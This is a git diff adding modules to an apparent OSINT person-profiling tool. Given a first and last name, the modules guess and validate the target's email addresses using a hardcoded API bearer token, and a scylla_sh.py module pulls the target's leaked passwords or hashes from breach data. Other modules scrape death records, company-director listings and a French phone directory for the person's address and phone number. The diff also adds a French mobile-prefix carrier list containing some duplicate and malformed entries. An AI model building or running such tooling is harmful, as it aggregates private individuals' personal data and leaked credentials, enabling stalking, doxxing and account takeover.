+ 0 -1 131 -67110925 14874979 -142633168 -1338923040
+ 2046713291 -2067933195 1473503712 -789579837</internalNodes>
+ <leafValues>
+ -0.3762553930282593 0.4075302779674530</leafValues></_>
+ <!-- tree 2 -->
+ <_>
+ <internalNodes>
+ 0 -1 83 -272814301 -1577073 -1118685 -305156120 -1052289
+ -1073813756 -538971154 -355523038</internalNodes>
+ <leafValues>
+ -0.4253497421741486 0.3728055357933044</leafValues></_>
+ <!-- tree 3 -->
+ <_>
+ <internalNodes>
+ 0 -1 135 -2233 -214486242 -538514758 573747007 -159390971
+ 1994225489 -973738098 -203424005</internalNodes>
+ <leafValues>
+ -0.3601998090744019 0.4563256204128265</leafValues></_>
+ <!-- tree 4 -->
+ <_>
+ <internalNodes>
+ 0 -1 115 -261031688 -1330369299 -641860609 1029570301
+ -1306461192 -1196149518 -1529767778 683139823</internalNodes>
+ <leafValues>
+ -0.4034293889999390 0.4160816967487335</leafValues></_>
+ <!-- tree 5 -->
+ <_>
+ <internalNodes>
+ 0 -1 64 -572993608 -34042628 -417865 -111109 -1433365268
+ -19869715 -1920939864 -1279457063</internalNodes>
+ <leafValues>
+ -0.3620899617671967 0.4594142735004425</leafValues></_>
+ <!-- tree 6 -->
+ <_>
+ <internalNodes>
+ 0 -1 36 -626275097 -615256993 1651946018 805366393
+ 2016559730 -430780849 -799868165 -16580645</internalNodes>
+ <leafValues>
+ -0.3903816640377045 0.4381459355354309</leafValues></_>
+ <!-- tree 7 -->
+ <_>
+ <internalNodes>
+ 0 -1 93 1354797300 -1090957603 1976418270 -1342502178
+ -1851873892 -1194637077 -1153521668 -1108399474</internalNodes>
+ <leafValues>
+ -0.3591445386409760 0.4624078869819641</leafValues></_>
+ <!-- tree 8 -->
+ <_>
+ <internalNodes>
+ 0 -1 91 68157712 1211368313 -304759523 1063017136 798797750
+ -275513546 648167355 -1145357350</internalNodes>
+ <leafValues>
+ -0.4297670423984528 0.4023293554782867</leafValues></_>
+ <!-- tree 9 -->
+ <_>
+ <internalNodes>
+ 0 -1 107 -546318240 -1628569602 -163577944 -537002306
+ -545456389 -1325465645 -380446736 -1058473386</internalNodes>
+ <leafValues>
+ -0.5727006793022156 0.2995934784412384</leafValues></_></weakClassifiers></_></stages>
+ <features>
+ <_>
+ <rect>
+ 0 0 3 5</rect></_>
+ <_>
+ <rect>
+ 0 0 4 2</rect></_>
+ <_>
+ <rect>
+ 0 0 6 3</rect></_>
+ <_>
+ <rect>
+ 0 1 2 3</rect></_>
+ <_>
+ <rect>
+ 0 1 3 3</rect></_>
+ <_>
+ <rect>
+ 0 1 3 7</rect></_>
+ <_>
+ <rect>
+ 0 4 3 3</rect></_>
+ <_>
+ <rect>
+ 0 11 3 4</rect></_>
+ <_>
+ <rect>
+ 0 12 8 4</rect></_>
+ <_>
+ <rect>
+ 0 14 4 3</rect></_>
+ <_>
+ <rect>
+ 1 0 5 3</rect></_>
+ <_>
+ <rect>
+ 1 1 2 2</rect></_>
+ <_>
+ <rect>
+ 1 3 3 1</rect></_>
+ <_>
+ <rect>
+ 1 7 4 4</rect></_>
+ <_>
+ <rect>
+ 1 12 2 2</rect></_>
+ <_>
+ <rect>
+ 1 13 4 1</rect></_>
+ <_>
+ <rect>
+ 1 14 4 3</rect></_>
+ <_>
+ <rect>
+ 1 17 3 2</rect></_>
+ <_>
+ <rect>
+ 2 0 2 3</rect></_>
+ <_>
+ <rect>
+ 2 1 2 2</rect></_>
+ <_>
+ <rect>
+ 2 2 4 6</rect></_>
+ <_>
+ <rect>
+ 2 3 4 4</rect></_>
+ <_>
+ <rect>
+ 2 7 2 1</rect></_>
+ <_>
+ <rect>
+ 2 11 2 3</rect></_>
+ <_>
+ <rect>
+ 2 17 3 2</rect></_>
+ <_>
+ <rect>
+ 3 0 2 2</rect></_>
+ <_>
+ <rect>
+ 3 1 7 3</rect></_>
+ <_>
+ <rect>
+ 3 7 2 1</rect></_>
+ <_>
+ <rect>
+ 3 7 2 4</rect></_>
+ <_>
+ <rect>
+ 3 18 2 2</rect></_>
+ <_>
+ <rect>
+ 4 0 2 3</rect></_>
+ <_>
+ <rect>
+ 4 3 2 1</rect></_>
+ <_>
+ <rect>
+ 4 6 2 1</rect></_>
+ <_>
+ <rect>
+ 4 6 2 5</rect></_>
+ <_>
+ <rect>
+ 4 7 5 2</rect></_>
+ <_>
+ <rect>
+ 4 8 4 3</rect></_>
+ <_>
+ <rect>
+ 4 18 2 2</rect></_>
+ <_>
+ <rect>
+ 5 0 2 2</rect></_>
+ <_>
+ <rect>
+ 5 3 4 4</rect></_>
+ <_>
+ <rect>
+ 5 6 2 5</rect></_>
+ <_>
+ <rect>
+ 5 9 2 2</rect></_>
+ <_>
+ <rect>
+ 5 10 2 2</rect></_>
+ <_>
+ <rect>
+ 6 3 4 4</rect></_>
+ <_>
+ <rect>
+ 6 4 4 3</rect></_>
+ <_>
+ <rect>
+ 6 5 2 3</rect></_>
+ <_>
+ <rect>
+ 6 5 2 5</rect></_>
+ <_>
+ <rect>
+ 6 5 4 3</rect></_>
+ <_>
+ <rect>
+ 6 6 4 2</rect></_>
+ <_>
+ <rect>
+ 6 6 4 4</rect></_>
+ <_>
+ <rect>
+ 6 18 1 2</rect></_>
+ <_>
+ <rect>
+ 6 21 2 1</rect></_>
+ <_>
+ <rect>
+ 7 0 3 7</rect></_>
+ <_>
+ <rect>
+ 7 4 2 3</rect></_>
+ <_>
+ <rect>
+ 7 9 5 1</rect></_>
+ <_>
+ <rect>
+ 7 21 2 1</rect></_>
+ <_>
+ <rect>
+ 8 0 1 4</rect></_>
+ <_>
+ <rect>
+ 8 5 2 2</rect></_>
+ <_>
+ <rect>
+ 8 5 3 2</rect></_>
+ <_>
+ <rect>
+ 8 17 3 1</rect></_>
+ <_>
+ <rect>
+ 8 18 1 2</rect></_>
+ <_>
+ <rect>
+ 9 0 5 3</rect></_>
+ <_>
+ <rect>
+ 9 2 2 6</rect></_>
+ <_>
+ <rect>
+ 9 5 1 1</rect></_>
+ <_>
+ <rect>
+ 9 11 1 1</rect></_>
+ <_>
+ <rect>
+ 9 16 1 1</rect></_>
+ <_>
+ <rect>
+ 9 16 2 1</rect></_>
+ <_>
+ <rect>
+ 9 17 1 1</rect></_>
+ <_>
+ <rect>
+ 9 18 1 1</rect></_>
+ <_>
+ <rect>
+ 10 5 1 2</rect></_>
+ <_>
+ <rect>
+ 10 5 3 3</rect></_>
+ <_>
+ <rect>
+ 10 7 1 5</rect></_>
+ <_>
+ <rect>
+ 10 8 1 1</rect></_>
+ <_>
+ <rect>
+ 10 9 1 1</rect></_>
+ <_>
+ <rect>
+ 10 10 1 1</rect></_>
+ <_>
+ <rect>
+ 10 10 1 2</rect></_>
+ <_>
+ <rect>
+ 10 14 3 3</rect></_>
+ <_>
+ <rect>
+ 10 15 1 1</rect></_>
+ <_>
+ <rect>
+ 10 15 2 1</rect></_>
+ <_>
+ <rect>
+ 10 16 1 1</rect></_>
+ <_>
+ <rect>
+ 10 16 2 1</rect></_>
+ <_>
+ <rect>
+ 10 17 1 1</rect></_>
+ <_>
+ <rect>
+ 10 21 1 1</rect></_>
+ <_>
+ <rect>
+ 11 3 2 2</rect></_>
+ <_>
+ <rect>
+ 11 5 1 2</rect></_>
+ <_>
+ <rect>
+ 11 5 3 3</rect></_>
+ <_>
+ <rect>
+ 11 5 4 6</rect></_>
+ <_>
+ <rect>
+ 11 6 1 1</rect></_>
+ <_>
+ <rect>
+ 11 7 2 2</rect></_>
+ <_>
+ <rect>
+ 11 8 1 2</rect></_>
+ <_>
+ <rect>
+ 11 10 1 1</rect></_>
+ <_>
+ <rect>
+ 11 10 1 2</rect></_>
+ <_>
+ <rect>
+ 11 15 1 1</rect></_>
+ <_>
+ <rect>
+ 11 17 1 1</rect></_>
+ <_>
+ <rect>
+ 11 18 1 1</rect></_>
+ <_>
+ <rect>
+ 12 0 2 2</rect></_>
+ <_>
+ <rect>
+ 12 1 2 5</rect></_>
+ <_>
+ <rect>
+ 12 2 4 1</rect></_>
+ <_>
+ <rect>
+ 12 3 1 3</rect></_>
+ <_>
+ <rect>
+ 12 7 3 4</rect></_>
+ <_>
+ <rect>
+ 12 10 3 2</rect></_>
+ <_>
+ <rect>
+ 12 11 1 1</rect></_>
+ <_>
+ <rect>
+ 12 12 3 2</rect></_>
+ <_>
+ <rect>
+ 12 14 4 3</rect></_>
+ <_>
+ <rect>
+ 12 17 1 1</rect></_>
+ <_>
+ <rect>
+ 12 21 2 1</rect></_>
+ <_>
+ <rect>
+ 13 6 2 5</rect></_>
+ <_>
+ <rect>
+ 13 7 3 5</rect></_>
+ <_>
+ <rect>
+ 13 11 3 2</rect></_>
+ <_>
+ <rect>
+ 13 17 2 2</rect></_>
+ <_>
+ <rect>
+ 13 17 3 2</rect></_>
+ <_>
+ <rect>
+ 13 18 1 2</rect></_>
+ <_>
+ <rect>
+ 13 18 2 2</rect></_>
+ <_>
+ <rect>
+ 14 0 2 2</rect></_>
+ <_>
+ <rect>
+ 14 1 1 3</rect></_>
+ <_>
+ <rect>
+ 14 2 3 2</rect></_>
+ <_>
+ <rect>
+ 14 7 2 1</rect></_>
+ <_>
+ <rect>
+ 14 13 2 1</rect></_>
+ <_>
+ <rect>
+ 14 13 3 3</rect></_>
+ <_>
+ <rect>
+ 14 17 2 2</rect></_>
+ <_>
+ <rect>
+ 15 0 2 2</rect></_>
+ <_>
+ <rect>
+ 15 0 2 3</rect></_>
+ <_>
+ <rect>
+ 15 4 3 2</rect></_>
+ <_>
+ <rect>
+ 15 4 3 6</rect></_>
+ <_>
+ <rect>
+ 15 6 3 2</rect></_>
+ <_>
+ <rect>
+ 15 11 3 4</rect></_>
+ <_>
+ <rect>
+ 15 13 3 2</rect></_>
+ <_>
+ <rect>
+ 15 17 2 2</rect></_>
+ <_>
+ <rect>
+ 15 17 3 2</rect></_>
+ <_>
+ <rect>
+ 16 1 2 3</rect></_>
+ <_>
+ <rect>
+ 16 3 2 4</rect></_>
+ <_>
+ <rect>
+ 16 6 1 1</rect></_>
+ <_>
+ <rect>
+ 16 16 2 2</rect></_>
+ <_>
+ <rect>
+ 17 1 2 2</rect></_>
+ <_>
+ <rect>
+ 17 1 2 5</rect></_>
+ <_>
+ <rect>
+ 17 12 2 2</rect></_>
+ <_>
+ <rect>
+ 18 0 2 2</rect></_></features></cascade>
+</opencv_storage>
\ No newline at end of file
diff --git a/Python Tools/OSINT tool/modules/google_dorking.py b/Python Tools/OSINT tool/modules/google_dorking.py
new file mode 100644
index 0000000..e69de29
diff --git a/Python Tools/OSINT tool/modules/mail/indic.txt b/Python Tools/OSINT tool/modules/mail/indic.txt
new file mode 100644
index 0000000..0739208
--- /dev/null
+++ b/Python Tools/OSINT tool/modules/mail/indic.txt
@@ -0,0 +1,399 @@
+06000:Free Mobile
+06001:Orange
+06002:SFR
+06003:Bouygues Telecom
+06006:Free Mobile
+06007:SFR
+06008:Orange France
+06009:Bouygues Telecom
+0601:SFR
+06020:Omea Telecom5 SFR et Orange
+06021:Omea Telecom5 SFR et Orange
+0602:SFR
+0603:SFR
+0602:SFR et Orange
+06026:SFR et Orange
+06027:SFR et Orange
+06028:SFR et Orange
+06029:SFR et Orange
+0603:SFR
+06040:SFR
+06041:SFR
+06044:SFR
+0604:SFR
+06045:SFR
+06046:SFR
+06047:SFR
+06048:SFR
+06049:SFR
+06050:Auchan Telecom6 SFR
+06051:Auchan Telecom6 SFR
+06052:Auchan Telecom6 SFR
+06053:Auchan Telecom6 SFR
+06054:Auchan Telecom6 SFR
+06055:LycaMobile7 Bouygues Telecom
+06056:LycaMobile7 Bouygues Telecom
+06057:LycaMobile7 Bouygues Telecom
+06058:LycaMobile7 Bouygues Telecom
+06059:LycaMobile7 Bouygues Telecom
+06064:Afone6 SFR
+06065:NRJ Mobile6 SFR
+06066:NRJ Mobile6 SFR
+06067:NRJ Mobile6 SFR
+06068:NRJ Mobile6 SFR
+06069:NRJ Mobile6 SFR
+0607:Orange France
+0608:Orange France
+0609:SFR
+061:SFR
+062:SFR
+0630:Orange France
+0631:Orange France
+0632:Orange France
+0633:Orange France
+0634:SFR
+0635:SFR
+06360:NRJ Mobile6 SFR
+06361:NRJ Mobile6 SFR
+06362:NRJ Mobile6 SFR
+06363:NRJ Mobile6 SFR
+06365:NRJ Mobile6 SFR
+06366:NRJ Mobile6 SFR
+06367:NRJ Mobile6 SFR
+06368:NRJ Mobile6 SFR
+06369:NRJ Mobile6 SFR
+0637:Orange France
+063801:Prixtel6 SFR
+063802:Prixtel6 SFR
+063803:Prixtel6 SFR
+063804:Prixtel6 SFR
+063805:Prixtel6 SFR
+06381:Orange France
+06382:Orange France
+06383:Orange France
+06384:Orange France
+06385:Orange France
+06386:Orange France
+06387:Orange France
+06388:Orange France
+06389:Orange France
+064005:SFR
+064006:SFR
+064007:SFR
+064008:SFR
+064009:SFR
+06401:Orange France
+06402:Orange France
+06403:Orange France
+06404:Orange France
+06405:Orange France
+06406:Orange France
+06407:Orange France
+06408:Orange France
+06409:Orange France
+06410:SFR
+06411:SFR
+06412:SFR
+06413:SFR
+06414:SFR
+06415:SFR
+064160:SFR
+064161:SFR
+064164:SFR
+06417:NRJMobile SFR
+06418:LaPosteMobile SFR
+06419:LaPosteMobile SFR
+0642:Orange France
+0643:Orange France
+06440:LaPosteMobile SFR
+04441:Orange France
+06442:Orange France
+06443:Orange France
+06444:Bouygues Telecom
+06445:Bouygues Telecom
+06446:Bouygues Telecom
+06447:LaPosteMobile SFR
+06448:LaPosteMobile SFR
+06449:LaPosteMobile SFR
+0645:Orange France
+0646:SFR
+0647:Orange France
+0648:Orange France
+06490:SFR et Orange
+06491:SFR et Orange
+06492:SFR et Orange
+06493:SFR et Orange
+06494:SFR et Orange
+064951:SFR et Orange
+064952:SFR et Orange
+064953:SFR et Orange
+064954:SFR et Orange
+064955:SFR et Orange
+064956:SFR et Orange
+064957:SFR et Orange
+064958:SFR et Orange
+064959:SFR et Orange
+06496:SFR et Orange
+06497:SFR et Orange
+09498:SFR et Orange
+064990:Bouygues Telecom
+064991:Bouygues Telecom
+064992:SFR et Orange
+064993:SFR et Orange
+064995:SFR
+064998:SFR
+064999:SFR
+0650:Bouygues Telecom
+0651:Free Mobile
+0652:Free Mobile
+06530:Bouygues Telecom
+06531:Bouygues Telecom
+06532:Bouygues Telecom
+06533:Bouygues Telecom
+06534:Bouygues Telecom
+06535:Free Mobile
+06536:Free Mobile
+06537:Free Mobile
+06538:Free Mobile
+06539:Free Mobile
+0654:Orange France
+0655:SFR
+065666:Prixtel6 SFR
+065667:Prixtel6 SFR
+065668:Prixtel6 SFR
+065669:Prixtel6 SFR
+06567:LaPosteMobile SFR
+06568:LaPosteMobile SFR
+0658:Bouygues Telecom ou Free
+0659::Bouygues Telecom
+0660:Bouygues Telecom
+0661:Bouygues Telecom
+0662:Bouygues Telecom
+0663:Bouygues Telecom
+0664:Bouygues Telecom
+0665:Bouygues Telecom
+0666:Bouygues Telecom
+0667:Bouygues Telecom
+0668:Bouygues Telecom
+0669:Bouygues Telecom
+06690:Bouygues Telecom
+06691:Bouygues Telecom
+06692:Bouygues Telecom
+06693:Bouygues Telecom
+06694:Bouygues Telecom
+06695:Bouygues Telecom
+06696:Bouygues Telecom
+06697:Bouygues Telecom
+06698:SFR
+06699:Bouygues Telecom
+067:Orange France
+068:Orange France
+0695:Free mobile
+0698:Bouygues Telecom
+0699:Bouygues Telecom
+075000:Sisteer6 SFR
+075001:Sisteer6 SFR
+075002:Sisteer6 SFR
+075003:Sisteer6 SFR
+075004:Sisteer6 SFR
+075005:Sisteer6 SFR
+075006:Sisteer6 SFR
+075007:Sisteer6 SFR
+075008:SFR
+075009:SFR
+07501:SFR
+07502:SFR et Orange
+07503:SFR et Orange
+07504:SFR et Orange
+075050:SFR
+075051:SFR
+075052:SFR
+075053:SFR
+075054:SFR
+075055:SFR
+075056:SFR
+075057:SFR
+075058:SFR
+075059:SFR
+075060:SFR
+075061:SFR et Orange
+075062:SFR et Orange
+075063:SFR et Orange
+075064:SFR et Orange
+075065:SFR et Orange
+075066:SFR et Orange
+075067:SFR et Orange
+075068:SFR et Orange
+075069:SFR et Orange
+075070:SFR
+075071:Orange France
+075072:Orange France
+07508:SFR et Orange
+07509:SFR et Orange
+07510:Bouygues Telecom
+07511:Bouygues Telecom
+07512:Bouygues Telecom
+07511:Bouygues Telecom
+07513:Bouygues Telecom
+07514:Bouygues Telecom
+07515:Bouygues Telecom
+07516:SFR et Orange
+075200:SFR
+075201:SFR
+075202:SFR
+075203:SFR
+075204:SFR
+075205:SFR
+075206:SFR
+07521:Bouygues Telecom
+07522:Bouygues Telecom
+07523:Bouygues Telecom
+07524:Bouygues Telecom
+07525:Bouygues Telecom
+0753:Lycamobile7 Bouygues Telecom
+075432:Sisteer6 SFR
+075550:Orange
+075551:Orange
+075552:Orange
+075553:Orange
+075554:Orange
+075555:Sisteer6 SFR
+075556:Bouygues Telecom
+075557:Bouygues Telecom
+075859:SFR
+075558:SFR
+075566:Sisteer6 SFR
+075567:SFR
+075568:SFR
+075598:SFR
+075707:SFR et Orange
+075717:SFR et Orange
+075750:SFR
+075751:SFR
+075752:SFR
+075753:SFR
+075754:SFR
+075755:SFR
+075756:SFR
+075757:SFR
+075758:SFR
+075759:Acropolis Telecom6 - SFR
+075760:SFR
+075761:SFR
+075762:SFR
+075763:SFR
+075764:SFR
+075765:SFR
+075766:SFR
+075767:SFR
+075768:SFR
+075969:SFR
+075777:SFR
+075778:SFR
+075787:SFR
+0759:SFR
+076000:Bouygues Telecom
+076001:Bouygues Telecom
+076002:Bouygues Telecom
+076003:Bouygues Telecom
+076004:Bouygues Telecom
+076005:Bouygues Telecom
+076006:Bouygues Telecom
+076007:Bouygues Telecom
+076008:Bouygues Telecom
+076009:Bouygues Telecom
+07601:Bouygues Telecom
+07602:Bouygues Telecom
+07603:Bouygues Telecom
+07604:Bouygues Telecom
+07605:Bouygues Telecom
+07606:Bouygues Telecom
+07607:Bouygues Telecom
+07608:Bouygues Telecom
+07609:Bouygues Telecom
+0761:Bouygues Telecom
+0762:Bouygues Telecom
+0763:Bouygues Telecom
+0764:Bouygues Telecom
+0766:Free Mobile
+0767:Free Mobile
+0768:Free Mobile
+0769:Free Mobile
+07700:SFR et Orange
+07701:SFR et Orange
+07702:SFR et Orange
+07703:SFR et Orange
+07704:SFR et Orange
+07705:SFR
+07706:SFR
+07707:SFR
+07708:SFR
+07709:SFR
+07705:SFR
+07706:SFR
+07707:SFR
+07708:SFR
+07710:SFR
+07711:SFR
+07712:SFR
+0777:SFR
+0778:SFR
+0779:SFR
+07800:Afone6 SFR
+07801:Afone6 SFR
+07802:Afone6 SFR
+07803:Afone6 SFR
+07804:Afone6 SFR
+07805:Afone6 SFR
+07806:Afone6 SFR
+0781:Free Mobile
+0782:Free Mobile
+0783:Free Mobile
+078413:Orange France
+0785:Orange France
+078600:Orange France
+078601:Orange France
+078602:Orange France
+078603:Orange France
+078604:Orange France
+078605:Orange France
+078606:Orange France
+078607:Orange France
+078608:Orange France
+078609:Orange France
+0786:Orange France
+07861:Orange France
+07862:Orange France
+07863:Orange France
+07864:Orange France
+07865:Orange France
+07866:Orange France
+07867:Orange France
+07868:Orange France
+07869:Orange France
+0787:Orange France
+07870:Orange France
+07871:Orange France
+07872:Orange France
+07873:Orange France
+07874:Orange France
+07875::Orange France
+07876::Orange France
+07877::Orange France
+07878:Orange France
+07879::Orange France
+07872:Orange France
+07873:Orange France
+07874:Orange France
+07875:Orange France
+07876:Orange France
+07877:Orange France
+07878:Orange France
+07879:Orange France
+07880:Orange France
+07881:Orange France
+07882:Orange France
+07883:Orange France
+07884:Orange France
+07885:Orange France
+0789:Orange France
\ No newline at end of file
diff --git a/Python Tools/OSINT tool/modules/mail/mail_check.py b/Python Tools/OSINT tool/modules/mail/mail_check.py
new file mode 100644
index 0000000..7792f6a
--- /dev/null
+++ b/Python Tools/OSINT tool/modules/mail/mail_check.py
@@ -0,0 +1,16 @@
+import requests
+
+def verify(mail):
+ try:
+ response = requests.get("https://isitarealemail.com/api/email/validate",timeout=1.5,params = {'email': mail},headers = {'Authorization': "Bearer " + "21a3f468-1c3a-43d6-bdd6-d5437d6c0252" })
+ try:
+ data = response.json()
+ status = data['status']
+ if status == "valid":
+ return "True"
+ else:
+ return None
+ except:
+ return None
+ except:
+ return None
diff --git a/Python Tools/OSINT tool/modules/mail/mail_domain.txt b/Python Tools/OSINT tool/modules/mail/mail_domain.txt
new file mode 100644
index 0000000..8237302
--- /dev/null
+++ b/Python Tools/OSINT tool/modules/mail/mail_domain.txt
@@ -0,0 +1,9 @@
diff --git a/Python Tools/OSINT tool/modules/mail/mail_gen.py b/Python Tools/OSINT tool/modules/mail/mail_gen.py
new file mode 100644
index 0000000..5b89304
--- /dev/null
+++ b/Python Tools/OSINT tool/modules/mail/mail_gen.py
@@ -0,0 +1,95 @@
+import threading, requests, bs4
+from bs4 import BeautifulSoup
+from modules.mail import mail_check
+#from googlesearch import search
+
+def check(name,pren):
+ print("📪 MailBox guessing ...")
+ name = name.lower()
+ pren = pren.lower()
+ results = [
+ "{}.{}@gmail.com".format(name,pren),
+ "{}.{}@hotmail.com".format(name,pren),
+ "{}{}@hotmail.com".format(name,pren),
+ "{}{}@hotmail.fr".format(name,pren),
+ "{}{}@outlook.fr".format(name,pren),
+ "{}.{}@outlook.com".format(name,pren),
+ "{}{}@outlook.com".format(name,pren),
+ "{}.{}@gmail.com".format(pren,name),
+ "{}.{}@hotmail.com".format(name,pren),
+ "{}{}@hotmail.com".format(pren,name),
+ "{}{}@hotmail.fr".format(pren,name),
+ "{}{}@outlook.fr".format(pren,name),
+ "{}.{}@outlook.com".format(pren,name),
+ "{}{}@outlook.com".format(pren,name),
+ ]
+ valid_mails = []
+ for i in results:
+ a = mail_check.verify(mail=i)
+ if a is not None:
+ valid_mails.append(i)
+ return valid_mails
+
+def skype2email(name,pren):
+ url = f"https://www.skypli.com/search/{name} {pren}"
+ r = requests.get(url)
+ page = r.content
+ features = "html.parser"
+ soup = BeautifulSoup(page, features)
+
+ profiles = soup.find_all('span',{'class':'search-results__block-info-username'})[0:5]
+
+ profiless = []
+
+ for i in profiles:
+ if "live:." in i.text:
+ pass
+ else:
+ profiless.append(i.text.replace('live:','').replace('_1',''))
+
+ valid_emails = []
+
+ for i in profiless:
+ emails = []
+ i = i.lower()
+ with open('modules/mail_domain.txt','r') as file:
+ lines = file.readlines()
+ file.close()
+ for line in lines:
+ if "@" in line and "." in line:
+ emails.append(i+line)
+ for i in emails:
+ a = mail_check.verify(mail=i.strip())
+ if a is not None:
+ valid_emails.append(i.strip())
+ return valid_emails
+
+def pinterest2email(name,pren):
+ try:
+ """
+ therm = 'allintitle: {} {}"Profil de {} {}" site:pinterest.com -pin'.format(pren,name,pren,name)
+
+ a = search(therm, lang="fr")
+
+ emails = []
+ valid_emails = []
+
+ if len(a) != 0:
+ for i in a:
+ if "https://www.pinterest.com/" not in i:
+ pass
+ else:
+ emails.append(i.replace('https://www.pinterest.com/','').replace('/','')+"@gmail.com")
+
+ for i in emails:
+ check = mail_check.verify(mail=i)
+ if check is not None:
+ valid_emails.append(i)
+ if len(valid_emails) > 0:
+ return valid_emails
+ else:
+ return None
+ """
+ return None
+ except:
+ return None
diff --git a/Python Tools/OSINT tool/modules/mail/scylla_sh.py b/Python Tools/OSINT tool/modules/mail/scylla_sh.py
new file mode 100644
index 0000000..1a47a2b
--- /dev/null
+++ b/Python Tools/OSINT tool/modules/mail/scylla_sh.py
@@ -0,0 +1,31 @@
+import requests
+
+def scylla_search(email):
+ try:
+ r = requests.get('https://scylla.so/search?q=email:{}'.format(email))
+ if r.status_code == 500 or r.status_code == 502:
+ return None
+ try:
+ response = r.json()
+ if len(response) == 0:
+ return None
+ else:
+ total = []
+ for i in response[0:10]:
+ leak_name = i['fields']['domain']
+ try:
+ password = i['fields']['password']
+ except:
+ password = i['fields']['passhash']
+ text = {
+ 'Name':leak_name,
+ 'Password':password
+ }
+ total.append(text)
+ return total
+ except:
+ return None
+ except requests.exceptions.ConnectionError:
+ return None
+
+# By Lui#6166 from Prism Intelligence Group
diff --git a/Python Tools/OSINT tool/modules/official_documents/death_records.py b/Python Tools/OSINT tool/modules/official_documents/death_records.py
new file mode 100644
index 0000000..bf25fb7
--- /dev/null
+++ b/Python Tools/OSINT tool/modules/official_documents/death_records.py
@@ -0,0 +1,34 @@
+import profile
+import requests,bs4
+from bs4 import BeautifulSoup
+
+def death_search(name,pren):
+ try:
+ url = "https://avis-deces.linternaute.com/recherche-avis?q={} {}".format(name,pren)
+ r = requests.get(url)
+ page = r.content
+ features = "html.parser"
+ soup = BeautifulSoup(page, features)
+
+ names = soup.find_all('h4')
+ ages = soup.find_all('small')
+ villes = soup.find_all('div',{'class':'odResultList__details--death'})
+ profile_list = []
+
+ for i in range(len(names)):
+ try:
+ name = names[i].text.split('(')[0].replace('\r','').replace('\n','').replace('\t','').strip()
+ loc = villes[i].text.split('à')[1].replace('\n','').replace(' ','').strip()
+ age = ages[i].text.strip()
+ dictt = {'Name':name,'Age':str(age),'Loc':loc.replace('- ','')}
+ profile_list.append(dictt)
+ except:
+ pass
+
+ if len(names) == 0:
+ return None
+ else:
+ return profile_list
+
+ except KeyboardInterrupt:
+ return None
diff --git a/Python Tools/OSINT tool/modules/official_documents/dirigeants_bfmtv.py b/Python Tools/OSINT tool/modules/official_documents/dirigeants_bfmtv.py
new file mode 100644
index 0000000..3db4d18
--- /dev/null
+++ b/Python Tools/OSINT tool/modules/official_documents/dirigeants_bfmtv.py
@@ -0,0 +1,33 @@
+import requests, bs4
+from bs4 import BeautifulSoup
+
+def bfmtv_search(name,pren):
+ try:
+ r = requests.get("https://www.verif.com/dirigeants/recherche/q/{}6+{}5".format(name,pren))
+ page = r.content
+ features = "html.parser"
+ soup = BeautifulSoup(page, features)
+ try:
+ full_name = soup.find('a',{'class':'nom'}).text+" "+soup.find('td',{'class':'verif_col2'}).text
+ naissance = soup.find('td',{'class':'verif_col3'}).text.replace('Né le ','')
+ mandats = soup.find('td',{'class':'verif_col5'}).text
+ fonction = soup.find('td',{'class':'verif_col4'}).text
+ link = str(soup.find('td',{'class':'verif_col4'})).split('href="')[1].split('"')[0]
+ link = str(link).replace('<a class="nom" href="/','')
+ r = requests.get(link)
+ page = r.content
+ features = "html.parser"
+ soup = BeautifulSoup(page, features)
+
+ desc = soup.find('p',{'class':'mid hidden-smallDevice'}).text.strip()
+ capital = soup.find('span',{'class':'number'}).text.strip()
+ entreprise = soup.find('h3',{'class':'subtitle'}).text.strip()
+ adresse_full= str(soup.find('a',{'class':'visible-smallDevice link'})).split('"_blank">')[1]
+ adresse = adresse_full.split("<br/>")[0]
+ cp = adresse_full.split("<br/>")[1].split("</a>")[0]
+ text = {"Capital":capital,"Desc":desc,"addr":adresse+cp,'company':entreprise,'link':link,'full_name':full_name,'naissance':naissance,'mandats':mandats,'fonction':fonction}
+ return text
+ except AttributeError:
+ return None
+ except:
+ return None
diff --git a/Python Tools/OSINT tool/modules/official_documents/pagesblanches_search.py b/Python Tools/OSINT tool/modules/official_documents/pagesblanches_search.py
new file mode 100644
index 0000000..e2c2357
--- /dev/null
+++ b/Python Tools/OSINT tool/modules/official_documents/pagesblanches_search.py
@@ -0,0 +1,33 @@
+import requests, bs4
+from bs4 import BeautifulSoup
+
+def adresse_search(name,pren,zipc):
+ if zipc is not None:
+ r = requests.get('https://www.118000.fr/search?part=1&label={}&who={} {}'.format(zipc,name,pren))
+ else:
+ r = requests.get('https://www.118000.fr/search?part=1&who={} {}'.format(name,pren))
+ page = r.content
+ features = "html.parser"
+ soup = BeautifulSoup(page, features)
+
+ target_name = soup.find("h2", {"class": "name title inbl"}).text.strip()
+ target_addr = soup.find("div", {"class": "h4 address mtreset"}).text.strip()
+ target_phon = soup.find('a',{'class':'clickable atel'}).text.strip()
+ if target_name is not None:
+ return {'Not_Sure':True,'Phone':target_phon,'Name':target_name,'Adress':target_addr,'Type_tel':None,"Loc_phone":None,'carrier':None}
+ elif target_name is None:
+ try:
+ r = requests.get('https://www.118000.fr/search?part=1&label={}&who={}'.format(zipc,name))
+ page = r.content
+ features = "html.parser"
+ soup = BeautifulSoup(page, features)
+
+ name_full = soup.find("h2", {"class": "name title inbl"}).text.strip()
+ addr_full = soup.find("div", {"class": "h4 address mtreset"}).text.replace(', voir sur la carte','').replace('\n',' ').strip()
+ try:
+ phon_full = soup.find('a',{'class':'clickable atel'}).text.strip()
+ except:
+ phon_full = None
+ return {'Not_Sure':False,'Phone':phon_full,'Name':name_full,'Adress':addr_full,'Type_tel':None,"Loc_phone":None,'carrier':None}
+ except AttributeError:
+ return None
\ No newline at end of file
diff --git a/Python Tools/OSINT tool/modules/phone/phone_search.py b/Python Tools/OSINT tool/modules/phone/phone_search.py
new file mode 100644
index 0000000..e69de29
diff --git a/Python Tools/OSINT tool/modules/report.json b/Python Tools/OSINT tool/modules/report.json
new file mode 100644
index 0000000..14dd29b
--- /dev/null
+++ b/Python Tools/OSINT tool/modules/report.json
@@ -0,0 +1,107 @@
+{
+ "Name":false,
+ "LastName":false,
+
+ "UI":{
+ "Pie":{
+ "PersonnalLife":false,
+ "SocialMedias":false
+ },
+ "Bar":{
+ "TwitterFounds":false,
+ "InstagramFounds":false,
+ "FacebookFounds":false,
+ "SkypeFounds":false
+ }
+ },
+
+ "AdressPhone":{
+ "Not_Sure":false,
+ "Exists":false,
+ "FullName":false,
+ "Adress":false,
+ "Phone":false,
+ "PhoneLocation":false
+ },
+
+ "Work":{
+ "Exists":false,
+ "FullName":false,
+ "BornDate":false,
+ "Company":false,
